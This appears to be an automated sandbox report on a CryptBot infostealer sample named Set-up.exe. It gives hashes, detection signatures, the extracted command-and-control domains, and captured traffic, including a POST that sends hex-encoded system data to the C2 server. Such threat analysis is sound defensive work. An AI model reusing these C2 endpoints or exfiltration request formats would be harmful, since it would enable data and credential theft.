Edit tour

Windows Analysis Report
Set-up.exe

Overview

General Information

Sample name:	Set-up.exe
Analysis ID:	1584736
MD5:	82f12257874f42d2f2475ca1d9189e43
SHA1:	24e0e7493e9bcc17d4858f350c6a6694f4a5acc5
SHA256:	b75aaedf296ec3b596c58573077667f403ed73b18ec052ed9b68b21414671a72
Tags:	CryptBotexeuser-aachum
Infos:

Detection

Cryptbot

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Cryptbot

C2 URLs / IPs found in malware configuration

Contain functionality to detect virtual machines

Infostealer behavior detected

Leaks process information

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

AV process strings found (often used to terminate AV products)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected potential crypto function

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Set-up.exe (PID: 6512 cmdline: "C:\Users\user\Desktop\Set-up.exe" MD5: 82F12257874F42D2F2475CA1D9189E43)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Malware Configuration

Threatname: Cryptbot

{"C2 list": ["thirttj13vs.top", "home.thirttj13vs.top"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: Set-up.exe PID: 6512	JoeSecurity_Cryptbot_1	Yara detected Cryptbot	Joe Security

Code function: 0_2_0011255D GetSystemInfo,GetSystemInfo,GlobalMemoryStatusEx,GlobalMemoryStatusEx,GetLogicalDriveStringsA,GetLogicalDriveStringsA,GetDriveTypeA,GetDriveTypeA,GetDiskFreeSpaceExA,GetDiskFreeSpaceExA,strlen,EnumDisplayMonitors,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,SHGetKnownFolderPath,wcscpy,wcscat,FindFirstFileW,FindFirstFileW,FindNextFileW,FindNextFileW,K32EnumProcesses,GetTickCount64,

0_2_0011255D

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: thirttj13vs.top
Source: Malware configuration extractor	URLs: home.thirttj13vs.top

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /gbVspuhpvozlydclqfRi1736138767 HTTP/1.1Host: home.thirttj13vs.topAccept: /Content-Type: application/jsonContent-Length: 577840Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 35 33 32 39 31 35 34 35 38 33 31 37 39 39 30 37 30 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c
Source: global traffic	HTTP traffic detected: GET /gbVspuhpvozlydclqfRi1736138767?argument=0 HTTP/1.1Host: home.thirttj13vs.topAccept: /
Source: global traffic	HTTP traffic detected: POST /gbVspuhpvozlydclqfRi1736138767 HTTP/1.1Host: home.thirttj13vs.topAccept: /Content-Type: application/jsonContent-Length: 31Data Raw: 7b 20 22 69 64 31 22 3a 20 22 30 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 31 22 20 7d Data Ascii: { "id1": "0", "data": "Done1" }

Source: Joe Sandbox View

IP Address: 34.147.147.173 34.147.147.173

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_001DA870 recv,

0_2_001DA870

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /gbVspuhpvozlydclqfRi1736138767?argument=0 HTTP/1.1Host: home.thirttj13vs.topAccept: /

Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.thirttj13vs.top

Source: unknown

HTTP traffic detected: POST /gbVspuhpvozlydclqfRi1736138767 HTTP/1.1Host: home.thirttj13vs.topAccept: */*Content-Type: application/jsonContent-Length: 577840Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 35 33 32 39 31 35 34 35 38 33 31 37 39 39 30 37 30 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 NOT FOUNDserver: nginx/1.22.1date: Mon, 06 Jan 2025 11:15:06 GMTcontent-type: text/html; charset=utf-8content-length: 207Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 NOT FOUNDserver: nginx/1.22.1date: Mon, 06 Jan 2025 11:15:07 GMTcontent-type: text/html; charset=utf-8content-length: 207Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

Source: Set-up.exe	String found in binary or memory: http://.css
Source: Set-up.exe	String found in binary or memory: http://.jpg
Source: Set-up.exe, Set-up.exe, 00000000.00000003.1766598511.0000000001593000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766768289.0000000001597000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766658323.0000000001596000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmp, Set-up.exe, 00000000.00000002.1768202774.000000000159B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767
Source: Set-up.exe, 00000000.00000003.1766598511.0000000001593000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766768289.0000000001597000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766658323.0000000001596000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1768202774.000000000159B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi17361387675a1
Source: Set-up.exe, 00000000.00000003.1766598511.0000000001593000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766768289.0000000001597000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766658323.0000000001596000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1768202774.000000000159B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767963
Source: Set-up.exe, 00000000.00000002.1768202774.000000000159B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767?argu
Source: Set-up.exe, 00000000.00000003.1739526627.00000000015C9000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1751160125.00000000015CB000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1768172601.0000000001591000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1751327184.00000000015CB000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1768247839.00000000015CB000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1751238014.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1751269153.00000000015C9000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1739584066.00000000015CB000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766523089.00000000015CB000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766598511.000000000158D000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1739497869.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766788259.0000000001591000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766966328.0000000001591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767?argument=0
Source: Set-up.exe, 00000000.00000002.1768172601.0000000001591000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766598511.000000000158D000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766788259.0000000001591000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766966328.0000000001591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767?argument=0S
Source: Set-up.exe, 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi1736138767http://home.thirttj13vs.top/gbVspuhpvozlyd
Source: Set-up.exe	String found in binary or memory: http://home.thirttj13vs.top/gbVspuhpvozlydclqfRi67
Source: Set-up.exe	String found in binary or memory: http://html4/loose.dtd
Source: Set-up.exe	String found in binary or memory: http://timestamp.digicert.com0
Source: Set-up.exe	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: Set-up.exe	String found in binary or memory: https://curl.se/docs/alt-svc.html#
Source: Set-up.exe	String found in binary or memory: https://curl.se/docs/hsts.html
Source: Set-up.exe	String found in binary or memory: https://curl.se/docs/hsts.html#
Source: Set-up.exe	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: Set-up.exe	String found in binary or memory: https://httpbin.org/ip
Source: Set-up.exe	String found in binary or memory: https://httpbin.org/ipbefore

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001205B0	0_2_001205B0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00126FA0	0_2_00126FA0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0041C050	0_2_0041C050
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0049E050	0_2_0049E050
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0049A000	0_2_0049A000
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001BE070	0_2_001BE070
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00460032	0_2_00460032
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00300080	0_2_00300080
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002800F0	0_2_002800F0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001E00E0	0_2_001E00E0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0037E138	0_2_0037E138
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_003A0170	0_2_003A0170
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00284170	0_2_00284170
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0042C1A0	0_2_0042C1A0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00176210	0_2_00176210
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002A0200	0_2_002A0200
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_004862D0	0_2_004862D0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0046E2F0	0_2_0046E2F0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_003D42F0	0_2_003D42F0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001862E0	0_2_001862E0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001DC320	0_2_001DC320
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00300350	0_2_00300350
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001DE3E0	0_2_001DE3E0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00272430	0_2_00272430
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00480460	0_2_00480460
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0047C470	0_2_0047C470
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001E0420	0_2_001E0420
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00464410	0_2_00464410
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_003CE450	0_2_003CE450
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002324A0	0_2_002324A0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0015E480	0_2_0015E480
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00480560	0_2_00480560
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00490590	0_2_00490590
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0037E5D0	0_2_0037E5D0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_004785A0	0_2_004785A0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0011E620	0_2_0011E620
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0048A610	0_2_0048A610
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_003D26E0	0_2_003D26E0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00298730	0_2_00298730
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001DC770	0_2_001DC770
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00476730	0_2_00476730
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002FA780	0_2_002FA780
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00494780	0_2_00494780
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_003587D0	0_2_003587D0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0048A800	0_2_0048A800
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_004648A0	0_2_004648A0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0048E940	0_2_0048E940
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00490940	0_2_00490940
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001CC900	0_2_001CC900
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00124940	0_2_00124940
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0011A960	0_2_0011A960
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002849F0	0_2_002849F0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0047EA70	0_2_0047EA70
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00196AA0	0_2_00196AA0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002E6AC0	0_2_002E6AC0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00308AC0	0_2_00308AC0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0046CB00	0_2_0046CB00
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_003D0B70	0_2_003D0B70
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00340B60	0_2_00340B60
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0011CBB0	0_2_0011CBB0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00488BF0	0_2_00488BF0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002FABC0	0_2_002FABC0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00476BB0	0_2_00476BB0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0049CC90	0_2_0049CC90
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00494D40	0_2_00494D40
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00484D50	0_2_00484D50
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0048CD80	0_2_0048CD80
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001C2DC0	0_2_001C2DC0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0040CE30	0_2_0040CE30
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0042AE30	0_2_0042AE30
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00276E90	0_2_00276E90
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00238F20	0_2_00238F20
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00134F70	0_2_00134F70
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001DEF90	0_2_001DEF90
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00436F80	0_2_00436F80
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00462F90	0_2_00462F90
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002FAFC0	0_2_002FAFC0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00313020	0_2_00313020
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0046F010	0_2_0046F010
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002EF040	0_2_002EF040
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00301100	0_2_00301100
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00231140	0_2_00231140
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002E1190	0_2_002E1190
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_002ED1D0	0_2_002ED1D0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0029D230	0_2_0029D230
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_001AB2D0	0_2_001AB2D0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00297310	0_2_00297310
